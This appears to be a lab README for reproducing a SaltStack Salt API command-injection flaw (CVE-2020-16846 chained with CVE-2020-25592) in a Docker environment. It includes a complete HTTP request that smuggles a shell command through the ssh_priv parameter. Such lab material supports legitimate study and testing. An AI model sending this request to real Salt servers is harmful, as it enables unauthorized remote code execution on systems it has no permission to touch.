Aaron
63285f61aa
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51 lines
1.8 KiB
Markdown
51 lines
1.8 KiB
Markdown
# SaltStack Command Injection Remote Code Execution (CVE-2020-16846)
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[中文版本(Chinese version)](README.zh-cn.md)
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Salt is a new approach to infrastructure management built on a dynamic communication bus. Salt can be used for data-driven orchestration, remote execution for any infrastructure, configuration management for any app stack, and much more.
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In November 2020, SaltStack officially disclosed two vulnerabilities, CVE-2020-16846 and CVE-2020-25592. CVE-2020-25592 allows arbitrary user to use the SSH module, and CVE-2020-16846 allows users to execute arbitrary commands. Chain these two vulnerabilities will allow unauthorized attackers to execute arbitrary commands through the Salt API.
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References:
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- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
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- https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html
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## Vulnerable Environment
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Execute the following command to start a SaltStack-Master service:
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```
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docker compose up -d
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```
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After the SaltStack-Master is started, the following ports will be listened:
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- 4505/4506: SaltStack-Master server, which is a bridge between master and minions
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- 8000: Salt's API server, **SSL requiring**
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- 2222: SSH server inside the container
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## Exploit
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Send the following request to `https://your-ip:8000/run`:
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```
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POST /run HTTP/1.1
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Host: 127.0.0.1:8000
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
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Accept: application/x-yaml
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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DNT: 1
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Connection: close
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Upgrade-Insecure-Requests: 1
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 87
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token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
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```
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Inject the command `touch /tmp/success` through the `ssh_priv` parameter:
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